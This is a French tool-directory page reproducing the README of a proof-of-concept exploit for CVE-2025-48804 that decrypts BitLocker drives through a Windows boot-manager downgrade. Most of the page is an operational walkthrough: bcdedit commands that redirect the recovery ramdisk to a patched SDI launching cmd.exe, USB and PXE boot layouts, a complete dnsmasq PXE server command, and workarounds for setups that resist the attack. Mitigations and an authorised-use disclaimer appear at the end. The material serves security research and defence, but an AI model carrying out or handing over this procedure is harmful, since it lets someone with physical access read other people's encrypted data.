Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/garatc/bitunlocker
Analyse des VulnérabilitésExploitationPost-ExploitationTests d'IntrusionSécurité MatérielleRed Teaming
GitHubgaratc/bitunlocker

BitUnlocker

Attaque par downgrade pour CVE-2025-48804

Voir le dépôt
22344il y a 9 joursVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Attaque de rétrogradation BitUnlocker

License: MIT

Une preuve de concept pour accéder aux disques chiffrés par BitLocker en moins de 5 minutes sur des machines Windows 11 entièrement patchées via une attaque de rétrogradation du gestionnaire de démarrage, exploitant la vulnérabilité SDI initialement documentée sous le nom CVE-2025-48804. Le correctif de juillet 2025 corrige cela dans bootmgfw.efi, donc tout bootmgfw.efi antérieur au correctif signé sous PCA 2011 peut être utilisé pour une attaque de rétrogradation, à condition que le système cible fasse confiance à ce PCA.

Cette PoC propose deux méthodes de livraison : démarrage USB (plus simple et recommandé) et démarrage PXE. Mais théoriquement, vous pourriez aussi simplement copier un fichier de démarrage SDI dans l'une des partitions non chiffrées par défaut (ESP et Recovery) sans vous embêter avec USB ou PXE - voir le tableau « Cas particuliers ».

Ce travail repose entièrement sur les recherches de Microsoft STORM (Netanel Ben Simon et Alon Leviev) :

BitUnlocker: Leveraging Windows Recovery to Extract BitLocker Secrets


Prérequis

  • Accès physique à un périphérique chiffré par BitLocker (TPM uniquement, PCR 7 + 11)
  • La base de données Secure Boot de l'appareil fait toujours confiance au certificat Microsoft Windows PCA 2011
  • Une clé USB (recommandée) ou une machine Linux avec dnsmasq et un câble Ethernet pour le PXE

Procédure pas à pas

1. Télécharger boot_patched.sdi depuis Releases (ou construire votre propre fichier SDI, voir ci-dessous)

Placez-le dans USB/sdi/ (pour la méthode USB) ou TFTP-root/sdi/ (pour la méthode PXE).

2. Préparer le BCD modifié

Sur le périphérique cible, ouvrez une invite de commandes WinRE (maintenez Shift enfoncé tout en cliquant sur Redémarrer, puis Dépannage > Invite de commandes — cliquez sur « Ignorer ce disque » lorsque vous êtes invité à saisir une clé de récupération BitLocker et cliquez sur « relancer » si on vous dit également que l'invite de commandes ne peut pas s'exécuter sur un périphérique verrouillé — et si l'invite de commandes ne s'ouvre tout simplement pas, utilisez votre propre WinPE si possible). Branchez une clé USB et exécutez :

root@kitploit:~
E: (or wherever your USB is)
bcdedit /export BCD_modded
bcdedit /store BCD_modded /set {default} path \WINDOWS\system32\winload_DOESNOTEXIST.efi
bcdedit /store BCD_modded /enum all

Dans la sortie, trouvez l'entrée des options de périphérique dont la description est « Windows Recovery » et qui contient les entrées ramdisksdidevice / ramdisksdipath. Notez son GUID, puis :

root@kitploit:~
bcdedit /store BCD_modded /set {GUID} ramdisksdidevice boot
bcdedit /store BCD_modded /set {GUID} ramdisksdipath \sdi\boot_patched.sdi
move BCD_modded BCD

Placez le fichier BCD obtenu à l'emplacement approprié selon votre méthode :

  • USB: USB/EFI/Microsoft/Boot/BCD
  • PXE: TFTP-root/Boot/BCD

3. Démarrer la cible

Option A: Démarrage USB (recommandé)

Formatez une clé USB en FAT32 et copiez le contenu du répertoire USB/ à sa racine (uniquement son contenu, il ne doit pas y avoir de dossier « USB »). La clé USB doit ressembler à ceci :

root@kitploit:~
USB stick root/
├── EFI/
│   ├── Boot/
│   │   └── bootx64.efi        # Pre-patch boot manager (PCA 2011)
│   └── Microsoft/
│       └── Boot/
│           └── BCD             # Your modified BCD
└── sdi/
    └── boot_patched.sdi        # Patched SDI with custom WinRE

Branchez la clé USB dans la cible et déclenchez un démarrage UEFI USB — soit depuis WinRE (Utiliser un périphérique) soit en appuyant sur la touche du menu de démarrage du fabricant au moment de la mise sous tension (F12, F9, etc.). Si la clé USB n'apparaît pas dans la liste des options de démarrage, recherchez une option « Démarrer à partir d'un fichier » dans le menu de démarrage UEFI, puis naviguez jusqu'à EFI/Boot/bootx64.efi sur la clé USB.

Option B: Démarrage PXE

Le répertoire TFTP-root/ est structuré comme suit :

root@kitploit:~
TFTP-root/
├── bootmgfw.efi                # Pre-patch boot manager (PCA 2011)
├── Boot/
│   └── BCD                     # Your modified BCD
├── EFI/
│   └── Microsoft/
│       └── Boot/
│           └── bootmgfw.efi    # Same pre-patch boot manager
└── sdi/
    └── boot_patched.sdi        # Patched SDI with custom WinRE

Connectez la cible à votre machine Linux via Ethernet et démarrez le serveur PXE :

root@kitploit:~
cd BitUnlocker
export INTERFACE=<your-interface>
export ABS_TFTP_ROOT=$(pwd)/TFTP-root

sudo ifconfig $INTERFACE 10.13.37.1
sudo dnsmasq --no-daemon \
  --interface="$INTERFACE" \
  --dhcp-range=10.13.37.100,10.13.37.101,255.255.255.0,1h \
  --dhcp-boot=bootmgfw.efi \
  --enable-tftp \
  --tftp-root="$ABS_TFTP_ROOT" \
  --log-dhcp \
  --tftp-max=65464 \
  --port=0

Déclenchez le démarrage PXE sur la cible — depuis WinRE sélectionnez Utiliser un périphérique > Réseau IPv4, ou appuyez sur la touche de démarrage PXE du fabricant.

4. Attendre le transfert SDI

Le gestionnaire de démarrage chargera le BCD, puis commencera à télécharger boot_patched.sdi. Le fichier SDI est volumineux (~300 Mo) donc cela prend un moment depuis USB, ou plusieurs minutes via TFTP. Un message lié à la récupération avec le chemin SDI devrait apparaître sur l'écran de la cible pendant son chargement.

5. Profiter

Une fois le transfert terminé, une invite de commandes devrait apparaître avec le volume du système d'exploitation déchiffré et monté (généralement C: ou E:). S'il n'a pas été monté automatiquement ou si vous ne voulez pas deviner la lettre, exécutez simplement diskpart -> sel vol X (celui qui ressemble à votre disque chiffré) -> assign letter=C (ou autre chose) -> exit -> profitez

Cas particuliers


Construire votre propre fichier SDI

J'ai inclus deux scripts dans scripts/ :

  • patch_sdi.py — construit un fichier SDI modifié à partir d'un boot.sdi et d'un fichier WinRE.wim
  • parse_sdi.py — analyse un fichier SDI pour valider sa structure et son contenu

Le fichier boot_patched.sdi fourni dans Releases contient un WinRE.wim modifié où l'application de lancement est cmd.exe.

Cas non exploitables

  • TPM + PIN ou TPM + fichier de clé est configuré et l'attaquant ne le connaît pas
  • KB5025885 est installé / le gestionnaire de démarrage a été migré vers CA 2023 — les machines fraîchement installées depuis début 2026 sont probablement livrées avec un bootmgfw.efi signé par CA 2023 par défaut. Pour vérifier, montez la partition EFI et inspectez le binaire actif : mountvol S: /s puis sigcheck -i S:\EFI\Microsoft\Boot\bootmgfw.efi. Notez que C:\Windows\Boot\EFI\bootmgfw.efi peut différer du fichier réellement utilisé au démarrage — vérifiez toujours la copie de la partition EFI.
  • Stratégie PCR non par défaut — les configurations impliquant PCR 0, 2 ou 4 détecteront le changement de chemin de démarrage
  • PCA 2011 révoquée via DBX — si l'ancien certificat a été explicitement non approuvé

Mesures d'atténuation

  • Activer TPM + PIN — un PIN de pré-démarrage empêche le TPM de déverrouiller la VMK sans interaction de l'utilisateur, indépendamment de la manipulation du chemin de démarrage. Gardez à l'esprit que cela n'arrêterait pas un initié qui connaît le PIN.
  • Migrer vers Windows UEFI CA 2023 et appliquer KB5025885 pour empêcher complètement les attaques de rétrogradation

Crédits

Microsoft STORM (Netanel Ben Simon et Alon Leviev) pour la recherche originale sur BitUnlocker et la divulgation de la vulnérabilité.


Licence

Ce projet est sous licence MIT License. Consultez le fichier LICENSE pour plus de détails.

Avertissement

Ce dépôt et tout son contenu sont fournis strictement à des fins autorisées de test de sécurité et de recherche. N'utilisez cet outil que sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite explicite de tester. L'accès non autorisé à des systèmes informatiques est illégal. L'auteur décline toute responsabilité en cas d'utilisation abusive ou de dommages résultant de l'utilisation de ce matériel.

Télécharger l’outil
SituationComportement
BitLocker configuré avec un PIN que vous connaissezÉcran bleu au démarrage — tapez le PIN à l'aveugle (désolé, je n'ai pas pris la peine d'inclure les polices BitLocker dans ce dépôt) et appuyez sur Entrée
Écran bleu, pas de PINLa cible a probablement migré vers CA 2023 — appuyez sur Échap et laissez le transfert SDI se terminer quand même, mais le disque chiffré par BitLocker sera très probablement verrouillé à la fin
USB-C / Thunderbolt uniquementUtilisez un disque USB-C ou un adaptateur USB-Ethernet (pour PXE)
Fichier TFTP introuvable (autre que les fichiers de polices indésirables dont nous n'avons pas besoin)Les noms de fichiers sont sensibles à la casse — renommez bootmgfw.efi pour qu'il corresponde à ce que la cible demande
Démarrage PXE ou USB non autoriséVérifiez la taille disponible des partitions ESP et Recovery (diskpart -> list vol). S'il y a assez d'espace pour le fichier Boot.sdi fourni (environ 300 Mo) dans l'une ou l'autre partition, placez-le là. Ensuite, l'exploit sera légèrement différent (mais tout aussi rapide) car vous devrez modifier directement le fichier BCD du système cible (faites une sauvegarde) pour pointer vers la partition hôte non chiffrée (entrée ramdisksdidevice du BCD en particulier), et remplacer le bootmgfw.efi de votre cible par celui fourni dans le dossier TFTP de ce dépôt. Dans ce cas, assurez-vous de vérifier que le gestionnaire de démarrage de votre cible est signé par PCA 2011 (l'exploit ne fonctionnerait pas de toute façon dans ce cas, vérifiez toujours cela), sinon vous mettrez le système en récupération BitLocker. De plus, s'il n'y a pas assez d'espace pour le fichier Boot.sdi que j'ai fourni dans ce dépôt, vous pouvez essayer de créer votre propre version plus petite, il y a certainement des moyens de le faire (voir la section « Construire votre propre fichier SDI » ci-dessous)